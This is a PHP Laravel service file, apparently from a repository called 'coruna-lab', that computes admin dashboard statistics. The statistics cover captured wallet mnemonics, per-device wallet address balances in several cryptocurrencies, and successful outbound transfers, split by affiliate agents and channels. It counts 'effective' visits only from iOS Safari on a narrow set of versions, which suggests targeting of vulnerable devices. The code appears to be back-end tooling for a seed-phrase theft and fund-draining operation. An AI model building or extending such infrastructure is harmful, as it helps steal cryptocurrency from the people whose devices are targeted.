Files
coruna-lab/app/Services/DashboardStatsService.php
T
root fcbc479c2e Serve dashboard stats from daily_stats and default visit list to today.
Stop live-scanning page_visits on every dashboard load (including today) so the admin home stays fast; keep the live path only for channel filters and cache the result for 45s.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 10:14:31 +00:00

577 lines
20 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
namespace App\Services;
use App\Models\DailyStat;
use App\Models\Device;
use App\Models\PageVisit;
use App\Models\TransferRecord;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use Carbon\Carbon;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\DB;
class DashboardStatsService
{
public const CACHE_SECONDS = 45;
/**
* @param array{
* range?: string,
* date_from?: string,
* date_to?: string,
* date_range?: string,
* channel_id?: string,
* channel_exact?: bool,
* agent_user_id?: ?int,
* agent?: ?User
* } $filters
* @return array{
* total: int,
* wallet_count: int,
* new_count: int,
* active_count: int,
* pv: int,
* uv: int,
* effective_pv: int,
* effective_uv: int,
* mnemonic_count: int,
* address_count: int,
* balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
* transfer_count: int,
* transfers: array{usdt: string, trx: string, eth: string, btc: string},
* range: string,
* from: string,
* to: string
* }
*/
public function collect(array $filters = []): array
{
[$from, $to] = $this->resolveBounds($filters);
$channelId = trim((string) ($filters['channel_id'] ?? ''));
$channelExact = (bool) ($filters['channel_exact'] ?? false);
$agent = $filters['agent'] ?? null;
$agentUserId = array_key_exists('agent_user_id', $filters)
? $filters['agent_user_id']
: null;
$agentUserId = $agentUserId === null ? null : (int) $agentUserId;
$scopeAgentId = $agent !== null ? (int) $agent->id : $agentUserId;
$cacheKey = 'dashboard:stats:'.md5(json_encode([
$from->toDateTimeString(),
$to->toDateTimeString(),
$channelId,
$channelExact,
$scopeAgentId,
], JSON_THROW_ON_ERROR));
return Cache::remember($cacheKey, self::CACHE_SECONDS, function () use (
$from,
$to,
$channelId,
$channelExact,
$agent,
$agentUserId,
$scopeAgentId,
) {
return $this->compute(
$from,
$to,
$channelId,
$channelExact,
$agent,
$agentUserId,
$scopeAgentId,
);
});
}
/**
* Prefer daily_stats sums (including today, up to ~15 min stale) unless a
* channel filter cannot be served from the rollup. Missing rollup rows fall
* back to a live page_visits scan.
*
* @return array{
* total: int,
* wallet_count: int,
* new_count: int,
* active_count: int,
* pv: int,
* uv: int,
* effective_pv: int,
* effective_uv: int,
* mnemonic_count: int,
* address_count: int,
* balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
* transfer_count: int,
* transfers: array{usdt: string, trx: string, eth: string, btc: string},
* range: string,
* from: string,
* to: string,
* date_from: string,
* date_to: string
* }
*/
private function compute(
Carbon $from,
Carbon $to,
string $channelId,
bool $channelExact,
?User $agent,
?int $agentUserId,
?int $scopeAgentId,
): array {
$rangeLabel = $from->toDateString().' ~ '.$to->toDateString();
$rollup = $channelId === '' ? $this->rollupFromDailyStats($from, $to, $scopeAgentId) : null;
$base = Device::query();
AgentScope::applyDeviceChannelScope($base, $agent);
if ($agent === null) {
AgentScope::applyAgentUserFilter($base, $agentUserId);
}
if ($channelId !== '') {
if ($channelExact) {
$base->where('channel_id', $channelId);
} else {
$base->where('channel_id', 'like', '%'.$channelId.'%');
}
}
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
if ($rollup === null) {
$createdInRange = (clone $base)->whereBetween('created_at', [$from, $to]);
$deviceAgg = (clone $createdInRange)
->selectRaw(
'COUNT(*) as total, COALESCE(SUM(CASE WHEN has_wallet = ? THEN 1 ELSE 0 END), 0) as wallet_count',
[Device::WALLET_YES],
)
->first();
$total = (int) ($deviceAgg?->total ?? 0);
$walletCount = (int) ($deviceAgg?->wallet_count ?? 0);
$mnemonicCount = $this->countDeviceChildren(
WalletMnemonic::query(),
'wallet_mnemonics',
$agent,
$agentUserId,
$channelId,
$channelExact,
$from,
$to,
);
[$addressCount, $balances] = $this->addressStats(
$agent,
$agentUserId,
$channelId,
$channelExact,
$from,
$to,
);
[$pv, $uv, $effectivePv, $effectiveUv] = $this->liveVisitTotals(
$from,
$to,
$channelId,
$channelExact,
$agent,
$agentUserId,
);
} else {
$total = $rollup['devices'];
$walletCount = $rollup['wallet_devices'];
$mnemonicCount = $rollup['mnemonic_count'];
$addressCount = $rollup['address_count'];
$pv = $rollup['pv'];
$uv = $rollup['uv'];
$effectivePv = $rollup['effective_pv'];
$effectiveUv = $rollup['effective_uv'];
[, $balances] = $this->addressStats(
$agent,
$agentUserId,
$channelId,
$channelExact,
$from,
$to,
);
}
[$transferCount, $transfers] = $this->transferStats(
$agent,
$agentUserId,
$channelId,
$channelExact,
$from,
$to,
);
return [
'total' => $total,
'wallet_count' => $walletCount,
'new_count' => $total,
'active_count' => $activeCount,
'pv' => $pv,
'uv' => $uv,
'effective_pv' => $effectivePv,
'effective_uv' => $effectiveUv,
'mnemonic_count' => $mnemonicCount,
'address_count' => $addressCount,
'balances' => $balances,
'transfer_count' => $transferCount,
'transfers' => $transfers,
'range' => $rangeLabel,
'from' => $from->toDateTimeString(),
'to' => $to->toDateTimeString(),
'date_from' => $from->toDateString(),
'date_to' => $to->toDateString(),
];
}
/**
* Day-level UV summed across the range (same as the daily report). Null when
* this scope has no rollup rows yet.
*
* @return array{pv: int, uv: int, effective_pv: int, effective_uv: int, devices: int, wallet_devices: int, address_count: int, mnemonic_count: int}|null
*/
private function rollupFromDailyStats(Carbon $from, Carbon $to, ?int $scopeAgentId): ?array
{
$scope = DailyReportService::scopeKey($scopeAgentId);
$q = DailyStat::query()
->where('scope_key', $scope)
->whereBetween('stat_date', [$from->toDateString(), $to->toDateString()]);
if (! (clone $q)->exists()) {
return null;
}
$row = $q->selectRaw(
'COALESCE(SUM(pv), 0) as pv,
COALESCE(SUM(uv), 0) as uv,
COALESCE(SUM(effective_pv), 0) as effective_pv,
COALESCE(SUM(effective_uv), 0) as effective_uv,
COALESCE(SUM(devices), 0) as devices,
COALESCE(SUM(wallet_devices), 0) as wallet_devices,
COALESCE(SUM(address_count), 0) as address_count,
COALESCE(SUM(mnemonic_count), 0) as mnemonic_count',
)->first();
return [
'pv' => (int) ($row?->pv ?? 0),
'uv' => (int) ($row?->uv ?? 0),
'effective_pv' => (int) ($row?->effective_pv ?? 0),
'effective_uv' => (int) ($row?->effective_uv ?? 0),
'devices' => (int) ($row?->devices ?? 0),
'wallet_devices' => (int) ($row?->wallet_devices ?? 0),
'address_count' => (int) ($row?->address_count ?? 0),
'mnemonic_count' => (int) ($row?->mnemonic_count ?? 0),
];
}
/**
* @return array{0: int, 1: int, 2: int, 3: int}
*/
private function liveVisitTotals(
Carbon $from,
Carbon $to,
string $channelId,
bool $channelExact,
?User $agent,
?int $agentUserId,
): array {
$visits = PageVisit::query();
AgentScope::applyChannelIdScope($visits, $agent);
if ($agent === null) {
AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId);
}
if ($channelId !== '') {
if ($channelExact) {
$visits->where('channel_id', $channelId);
} else {
$visits->where('channel_id', 'like', '%'.$channelId.'%');
}
}
$visits->whereBetween('created_at', [$from, $to]);
$effectiveSql = $this->effectiveVisitSql();
$visitAgg = $visits
->selectRaw(
"COUNT(*) as pv,
COUNT(DISTINCT client_uid) as uv,
COALESCE(SUM(CASE WHEN ({$effectiveSql}) THEN 1 ELSE 0 END), 0) as effective_pv,
COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv",
)
->first();
return [
(int) ($visitAgg?->pv ?? 0),
(int) ($visitAgg?->uv ?? 0),
(int) ($visitAgg?->effective_pv ?? 0),
(int) ($visitAgg?->effective_uv ?? 0),
];
}
/**
* @param array{range?: string, date_from?: string, date_to?: string, date_range?: string} $filters
* @return array{0: Carbon, 1: Carbon}
*/
public function resolveBounds(array $filters): array
{
$fromRaw = trim((string) ($filters['date_from'] ?? ''));
$toRaw = trim((string) ($filters['date_to'] ?? ''));
$rangeField = trim((string) ($filters['date_range'] ?? ''));
if ($fromRaw === '' && $toRaw === '' && $rangeField !== '') {
if (preg_match('/^(\d{4}-\d{2}-\d{2})\s*~\s*(\d{4}-\d{2}-\d{2})$/', $rangeField, $m)
|| preg_match('/^(\d{4}-\d{2}-\d{2})\s*-\s*(\d{4}-\d{2}-\d{2})$/', $rangeField, $m)) {
$fromRaw = $m[1];
$toRaw = $m[2];
}
}
if ($fromRaw !== '' && $toRaw !== '') {
try {
$from = Carbon::parse($fromRaw)->startOfDay();
$to = Carbon::parse($toRaw)->endOfDay();
} catch (\Throwable) {
return $this->rangeBounds((string) ($filters['range'] ?? '30d'));
}
if ($from->gt($to)) {
[$from, $to] = [$to->copy()->startOfDay(), $from->copy()->endOfDay()];
}
return [$from, $to];
}
return $this->rangeBounds((string) ($filters['range'] ?? '30d'));
}
/**
* Join a device-child table and apply the same channel / agent scope as device totals.
*/
private function scopedDeviceChildren(
Builder $query,
string $table,
?User $agent,
?int $agentUserId,
string $channelId,
bool $channelExact,
): Builder {
$query->join('devices', 'devices.id', '=', $table.'.device_id');
AgentScope::applyDeviceChannelScope($query, $agent);
if ($agent === null) {
AgentScope::applyAgentUserFilter($query, $agentUserId);
}
if ($channelId !== '') {
if ($channelExact) {
$query->where('devices.channel_id', $channelId);
} else {
$query->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
}
return $query;
}
private function countDeviceChildren(
Builder $query,
string $table,
?User $agent,
?int $agentUserId,
string $channelId,
bool $channelExact,
Carbon $from,
Carbon $to,
): int {
return $this->scopedDeviceChildren($query, $table, $agent, $agentUserId, $channelId, $channelExact)
->whereBetween($table.'.created_at', [$from, $to])
->count($table.'.id');
}
/**
* Address count + coin sums in one pass over wallet_addresses in range.
*
* @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string, bnb: string}}
*/
private function addressStats(
?User $agent,
?int $agentUserId,
string $channelId,
bool $channelExact,
Carbon $from,
Carbon $to,
): array {
$q = $this->scopedDeviceChildren(
WalletAddress::query(),
'wallet_addresses',
$agent,
$agentUserId,
$channelId,
$channelExact,
)->whereBetween('wallet_addresses.created_at', [$from, $to]);
$selects = ['COUNT(wallet_addresses.id) as addr_count'];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col;
}
$row = $q->selectRaw(implode(', ', $selects))->first();
$out = [];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$raw = $row?->{$col} ?? 0;
$formatted = WalletAddress::formatAmount($col, $raw);
$out[$col] = $formatted === '' ? '0' : $formatted;
}
/** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */
return [(int) ($row?->addr_count ?? 0), $out];
}
/**
* Successful outbound transfer count + per-asset sums in the selected range.
*
* @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string}}
*/
private function transferStats(
?User $agent,
?int $agentUserId,
string $channelId,
bool $channelExact,
Carbon $from,
Carbon $to,
): array {
$q = TransferRecord::query()
->where('transfer_records.status', TransferRecord::STATUS_SUCCESS)
->whereBetween('transfer_records.created_at', [$from, $to]);
if ($agent !== null || $agentUserId !== null || $channelId !== '') {
$q->whereExists(function ($sub) use ($agent, $agentUserId, $channelId, $channelExact) {
$sub->selectRaw('1')
->from('wallet_addresses')
->join('devices', 'devices.id', '=', 'wallet_addresses.device_id')
->whereColumn('wallet_addresses.address', 'transfer_records.from_address');
$scopedIds = null;
if ($agent !== null) {
$scopedIds = AgentScope::channelIdsFor($agent);
} elseif ($agentUserId !== null) {
$scopedIds = AgentScope::channelIdsForUserId($agentUserId);
}
if ($scopedIds !== null) {
if ($scopedIds === []) {
$sub->whereRaw('1 = 0');
} else {
$sub->whereIn('devices.channel_id', $scopedIds);
}
}
if ($channelId !== '') {
if ($channelExact) {
$sub->where('devices.channel_id', $channelId);
} else {
$sub->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
}
});
}
$amountExpr = DB::connection()->getDriverName() === 'sqlite'
? 'CAST(transfer_records.amount AS REAL)'
: 'CAST(transfer_records.amount AS DECIMAL(32, 18))';
$rows = (clone $q)
->selectRaw('UPPER(transfer_records.asset) as asset, COUNT(*) as cnt, COALESCE(SUM('.$amountExpr.'), 0) as total')
->groupByRaw('UPPER(transfer_records.asset)')
->get();
$coins = ['usdt' => '0', 'trx' => '0', 'eth' => '0', 'btc' => '0'];
$count = 0;
foreach ($rows as $row) {
$count += (int) $row->cnt;
$col = strtolower((string) $row->asset);
if (! isset($coins[$col])) {
continue;
}
$formatted = WalletAddress::formatAmount($col, $row->total);
$coins[$col] = $formatted === '' ? '0' : $formatted;
}
return [$count, $coins];
}
/**
* Map telegram /data day token to dashboard range key.
* Empty / omitted → today.
*/
public function rangeFromDays(?string $days): string
{
$days = $days === null ? '' : trim($days);
if ($days === '' || $days === '1') {
return 'today';
}
return match ($days) {
'7' => '7d',
'30' => '30d',
default => throw new \InvalidArgumentException('Days must be 1, 7, or 30'),
};
}
/**
* @return array{0: Carbon, 1: Carbon}
*/
public function rangeBounds(string $range): array
{
$now = Carbon::now();
return match ($range) {
'today', '1', '1d' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()],
'yesterday' => [
$now->copy()->subDay()->startOfDay(),
$now->copy()->subDay()->endOfDay(),
],
'7d', '7' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()],
default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()],
};
}
/**
* Safari on iOS 13.0.0–17.2.1, plus DS allowlist versions.
* Exclude unsupported 15.8.8 and 16.7.1x (16.7.10+).
*/
public function effectiveVisitSql(): string
{
[$major, $minor, $patch] = $this->osVersionPartsSql();
return "os = 'iOS' AND browser = 'Safari' AND os_version IS NOT NULL AND os_version != '' AND (
({$major} >= 13 AND (
{$major} < 17
OR ({$major} = 17 AND {$minor} < 2)
OR ({$major} = 17 AND {$minor} = 2 AND {$patch} <= 1)
))
OR ({$major} = 18 AND {$minor} = 5 AND {$patch} = 0)
OR ({$major} = 18 AND {$minor} = 6 AND {$patch} IN (0, 1, 2))
) AND NOT ({$major} = 15 AND {$minor} = 8 AND {$patch} = 8)
AND NOT ({$major} = 16 AND {$minor} = 7 AND {$patch} >= 10)";
}
/**
* @return array{0: string, 1: string, 2: string} major / minor / patch SQL
*/
private function osVersionPartsSql(): array
{
if (DB::connection()->getDriverName() === 'sqlite') {
$major = 'CAST(os_version AS INTEGER)';
$minor = "CAST(CASE WHEN INSTR(os_version, '.') = 0 THEN '0' ELSE SUBSTR(os_version, INSTR(os_version, '.') + 1) END AS INTEGER)";
$patch = "CAST(CASE WHEN LENGTH(os_version) - LENGTH(REPLACE(os_version, '.', '')) < 2 THEN '0' ELSE SUBSTR(os_version, INSTR(os_version, '.') + INSTR(SUBSTR(os_version, INSTR(os_version, '.') + 1), '.') + 1) END AS INTEGER)";
return [$major, $minor, $patch];
}
$padded = "CONCAT(os_version, '.0.0')";
$major = "CAST(SUBSTRING_INDEX(os_version, '.', 1) AS UNSIGNED)";
$minor = "CAST(SUBSTRING_INDEX(SUBSTRING_INDEX({$padded}, '.', 2), '.', -1) AS UNSIGNED)";
$patch = "CAST(SUBSTRING_INDEX(SUBSTRING_INDEX({$padded}, '.', 3), '.', -1) AS UNSIGNED)";
return [$major, $minor, $patch];
}
}